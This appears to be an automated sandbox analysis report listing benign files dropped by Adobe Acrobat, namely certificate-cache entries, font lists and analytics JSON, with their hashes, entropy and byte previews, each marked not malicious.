Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklDBlMGpttfllXlE/HT8kqcrtNNX8RolJuRdxLlGB9lQRYwpDdt:kKlyeT8Y3NMa8RdWBwRd
MD5:	63B3D7F0742319EFEDB7F2542B0524EF
SHA1:	B7DDF0F174B55AD5515C8C14060BE06CC29FE413
SHA-256:	95F717D657F6C8F4A5E9C2379EA3A702B26D6DAA7C2EFA9677A420F611AF4978
SHA-512:	883C9239B99FF69B2E666C48DC88FD83E1FF95DEC9D87B240337F14CCAE6E8BAB6F99A666F5790737785A50B8BE40EF5D0BA41206110BB4B097269F1046CB841
Malicious:	false
Preview:	p...... ........0..c..(....................................................... ..........W....O...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.234591379520364
Encrypted:	false
SSDEEP:	6:kKDIWtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:rIWtiDImsLNkPlE99SNxAhUe/3
MD5:	7D33E550DC4C3850C682A2DA9F1327A6
SHA1:	60DF1DDBFCB0447ED4A415DD0878BC0D71F25A11
SHA-256:	C93B4551FCF80C233653CDF066CA32959B0FD432F0D6BD3C2007B71A9117C02E
SHA-512:	3D201FFEBACD392E0CA20C2DC8DDCF840DD449E029F44E29AC356C90E0F774BE8636E45446F57DF62BA65FEB3FC35116CF34E686E2642FA9C7927A6940C0B910
Malicious:	false
Preview:	p...... ........Z.1.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8144

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8144

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.363733857844756
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDrTtSkn+TC3mSg1c2LjcWkHvR0YzUoAvJM3g98kUwPeUkwRe9:YvXKX7tSk+OWT5LjIP/nGMbLUkee9
MD5:	D600396F31DF90D67DBA5B3E01F6E2B0
SHA1:	1C26834F7823F9A4BC18198F8AA6977C59F71861
SHA-256:	F8E51F7F1B3FE248B841DB60EBA9FE198C8B3868DA4864FFEF37ECEF68522123
SHA-512:	6A2157DFC1DBDAA32D07C4B46D12E7F48CCCF2CB67C80D6E6798F5C7BE7CFE108CB8ECB35DEF0A03C4EF00E40EAB3011419FC5D8BF0F8FE6013CCFBD6C3B56AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f9c2498-778a-4d62-b2f0-b93a4b046c05","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736723838689,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.317958778244527
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDrTtSkn+TC3mSg1c2LjcWkHvR0YzUoAvJfBoTfXpnrPeUkwRe9:YvXKX7tSk+OWT5LjIP/nGWTfXcUkee9
MD5:	5A42773E19273F7CF163424AF2F0ECD9
SHA1:	E2AD2683772F6A042A5DFDA3FB1CE4F74AB4592A
SHA-256:	5B720A2D2718455585ACEF4E4E600016F4484EAC2683B63C20DAA1CA3C459E47
SHA-512:	695700B9DB84D4B7C21C1B59E39EA210075BCB42E7343FD7F312F5C36CBA7A9030C6B1396693EC1BC04BCDE88B0F1EEB211FFF840A3A134E6EE051C0833F8ADA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f9c2498-778a-4d62-b2f0-b93a4b046c05","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736723838689,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.295911378243886
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDrTtSkn+TC3mSg1c2LjcWkHvR0YzUoAvJfBD2G6UpnrPeUkwRe9:YvXKX7tSk+OWT5LjIP/nGR22cUkee9
MD5:	02977DE0F9FC94E80910C4C81AFD7AB3
SHA1:	0E236BD77EC301095E7CB33F241F892411014D47
SHA-256:	1A84B0644204429E4DAB5006AF1BA124C2107506072B6FDB34876E15F093A86D
SHA-512:	88786873AE8BC61FAA316E3A2696E5850B7C9970A07B5DAA74A9F69FFD4A9FB79DF1F7C195B90C25C4C0B596EA8660CE431233D5ED79A9008CA4B89FC1E27E3A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f9c2498-778a-4d62-b2f0-b93a4b046c05","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736723838689,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.344748889404466
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDrTtSkn+TC3mSg1c2LjcWkHvR0YzUoAvJfPmwrPeUkwRe9:YvXKX7tSk+OWT5LjIP/nGH56Ukee9
MD5:	0275C253BE7B9AD16B2DCDC4F5FF63FC
SHA1:	A8542D57376ECD59F66C85E199566C60BA54D6FE
SHA-256:	B5694E77E885442C3D4A81D81101C4F9D27665F6FFEFF4B5A6ABEC16E0165BE1
SHA-512:	437A2256B52F3259CE647C736E029DC385A97E5ECBC5DCF3339BEA4D0B1AB31B7D50D59D1D40B2197BB84F0D20CCBF56473AA367AEE6FB881F81310112BA7620
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f9c2498-778a-4d62-b2f0-b93a4b046c05","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736723838689,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.697543143242448
Encrypted:	false
SSDEEP:	24:Yv6X7tgT5XI3spLgE9cQx8LennAvzBvkn0RCmK8czOCCS0:YvGEX4shgy6SAFv5Ah8cv/0
MD5:	34A846AFA0EA1ACDABD58D66DEAC759D
SHA1:	AA6D556A1DAEF816CDEACEA36C6FD6F45F56CB5D
SHA-256:	D5F62BDFD67530639E8819AC1185428CD7E2F9DDF0EC38CC9E67FE8FBC29AACA
SHA-512:	6F09CF3F60FF0D8F64EC3C130723986F7FF86A6C4B2CD99D1260985911B847BF0D8EA8D2141D5558D26DD878A79677F9B7B5C8EA8DAB7ABEF6361CF9D874302D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f9c2498-778a-4d62-b2f0-b93a4b046c05","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736723838689,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318967075914076
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDrTtSkn+TC3mSg1c2LjcWkHvR0YzUoAvJf8dPeUkwRe9:YvXKX7tSk+OWT5LjIP/nGU8Ukee9
MD5:	0F793D5786B01C1C728562118AE68444
SHA1:	F421AB5FF693D09DB0BA3BD9684CC9630FAD69BB
SHA-256:	702C09060E75ADB10005BBC810F45D97325D3BAEDFAAE47BC8EAC4C185010278
SHA-512:	2AD98CDCBDD9B7CFA5B6B2C61AD79194E68C561B8F5DE45B82594D170D64D015BB5A4139B19D47BC678E94FC146C4E125375D30565309D5F7FF2073C9F1AC155
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f9c2498-778a-4d62-b2f0-b93a4b046c05","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736723838689,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.310910858650242
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDrTtSkn+TC3mSg1c2LjcWkHvR0YzUoAvJfQ1rPeUkwRe9:YvXKX7tSk+OWT5LjIP/nGY16Ukee9
MD5:	81EB9893B9DF8DC7E1A423EE74BE7918
SHA1:	F4777C45095D227B9703B7F6642195E8C5721296
SHA-256:	157DD2745D3C98DE9F80890D42AE14BE231E86033742508F2F7DC753A8C5E459
SHA-512:	6446C31DF919B60EC3D5CE14240763AB6168879409DD3EF51C0AC6060FB766D7FCB6D9AA022BDB6E46676F46823765ADF9109D6E4F0E9E2C3E1B173A4673A7A3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f9c2498-778a-4d62-b2f0-b93a4b046c05","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736723838689,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.328204687747141
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDrTtSkn+TC3mSg1c2LjcWkHvR0YzUoAvJfFldPeUkwRe9:YvXKX7tSk+OWT5LjIP/nGz8Ukee9
MD5:	C94C0E7D3FAB0E9CD1F3C6CD0F578F88
SHA1:	FBEEE09F65805BC31B5496DEFBFE78B4DAB17C08
SHA-256:	BFE75326168A09B58ADB7A3EC0973064FE0C36B6CED4F7952E05EABA8E3C9FF6
SHA-512:	65EF76F4B55F8E8D12DC380382810FCF85277F49797EE2534571F2370C10F6C0886E11D4672C61AB8DC6B68C711ADE9470BB8C1E090B5AD7721FDA5A5CC26F46
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f9c2498-778a-4d62-b2f0-b93a4b046c05","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736723838689,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.345307057294406
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDrTtSkn+TC3mSg1c2LjcWkHvR0YzUoAvJfzdPeUkwRe9:YvXKX7tSk+OWT5LjIP/nGb8Ukee9
MD5:	4C18C348547B3DEB640D7B373E1D8000
SHA1:	29407126082370BCDE0C8A2B68922CDEB6C5BB84
SHA-256:	5E36FE3B864221BFD23905AF686D1402C614B7F90533C19D026591D8F4751973
SHA-512:	A3495F704561D14604D4873A2D72FFAA3CF837D69F66117CC53B9738187AAFF51ED30AA4003770DFCFC66F827B597474C87BB5847EC8763E192CE8508F202C54
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f9c2498-778a-4d62-b2f0-b93a4b046c05","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736723838689,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.326489418124338
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDrTtSkn+TC3mSg1c2LjcWkHvR0YzUoAvJfYdPeUkwRe9:YvXKX7tSk+OWT5LjIP/nGg8Ukee9
MD5:	869F40A7EE99B8C4DC863D5CA98C3D8D
